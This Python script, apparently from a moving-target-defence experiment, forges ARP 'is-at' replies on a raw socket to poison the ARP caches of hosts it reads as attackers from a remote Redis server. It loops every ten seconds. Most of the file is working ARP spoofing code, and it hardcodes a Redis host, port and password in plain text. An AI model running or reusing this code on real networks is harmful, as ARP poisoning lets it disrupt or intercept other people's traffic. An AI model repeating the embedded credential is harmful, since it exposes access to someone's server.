
import json
import socket
import binascii

## ens37
##  10.10.1.19     \x0a\x0a\x01\x13 00:50:56:3a:11:09
##  10.10.1.18 \x0a\x0a\x01\x12  00:0c:29:05:6c:36
import threading
import time

import redis


class RedisUtils:

    def __init__(self, host, port, password, db=0):

        self.connection_pool = redis.ConnectionPool(host=host, port=port, db=db, decode_responses=True)
        self.redis_client = redis.Redis(connection_pool=self.connection_pool, password=password)


    def later_update_in_redis(self,key,value, later_seconds_time:int = 0):
        threading.Thread(target=self.update_in_redis, args=(key,value, later_seconds_time)).start()

    def update_in_redis(self,key, value, later_seconds_time:int):

        # 延迟5秒给跟随攻击方旧的消息 相当于跟随攻击哲5s才能反应过来跳变地址跳变到了哪儿了
        time.sleep(later_seconds_time)
        self.redis_client.set(key, value)

    def get(self,key):

        return self.redis_client.get(key)

_inst = RedisUtils("selton.cn", 16379, "u}J#D=>MryWf")

later_update_in_redis = _inst.later_update_in_redis
update_in_redis = _inst.update_in_redis
get = _inst.get


def arp_cheat(virtual_mac, virtual_ip, network_card, source_ip):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 数据包出口网卡
    s.bind((network_card, 0))
    ## 虚假IP
    src_ip_addr = ip2bin_ip(virtual_ip)
    ##  虚假MAC地址(使虚假IP与被欺骗主机IP通信中断)
    dst_mac_addr = mac2bin_mac(virtual_mac)
    # src_ip_addr = "\x0a\x0a\x01\x13"
    # dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
    ## 即将被欺骗的主机的IP
    dst_ip_addr = ip2bin_ip(source_ip)
    ##  即将被欺骗方的MAC地址
    src_mac_addr = mac2bin_mac("FF:FF:FF:FF:FF:FF")
    ## arp 回应
    arp_opcode = "\x00\x02"
    arp_opcode = bytes(arp_opcode, encoding="utf8")
    s.send(
        src_mac_addr + dst_mac_addr + b"\x08\x06\x00\x01\x08\x00\x06\x04" + arp_opcode + dst_mac_addr + src_ip_addr + src_mac_addr + dst_ip_addr + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')


## "00:0c:29:05:6c:36" to  str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
    hexmac = mac.replace(':', "")
    return binascii.a2b_hex(hexmac)


## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):
    ipns = ip.split('.')
    result_arr = ""
    for i in range(4):  # 0,1,2,3
        tnum = int(ipns[i])
        bnum = hex(tnum)
        if (len(bnum) == 3):
            bnum = "0x0" + bnum[2]
        result_arr = result_arr + bnum
    result_arr = result_arr.replace("0x", "")
    return binascii.a2b_hex(result_arr)


if __name__ == '__main__':
    ## 发送欺骗包（使用root账户）
    while True:
        time.sleep(10)
        follow_attacker_info = get("follow_attacker_info")

        if follow_attacker_info != None:
            follow_attacker_info = dict(json.loads(follow_attacker_info))

            for attacker_ip, active_ip in follow_attacker_info.items():
                arp_cheat('e6:71:13:d4:7f:55', active_ip, 'h5-eth0', attacker_ip)

            time.sleep(0.5)
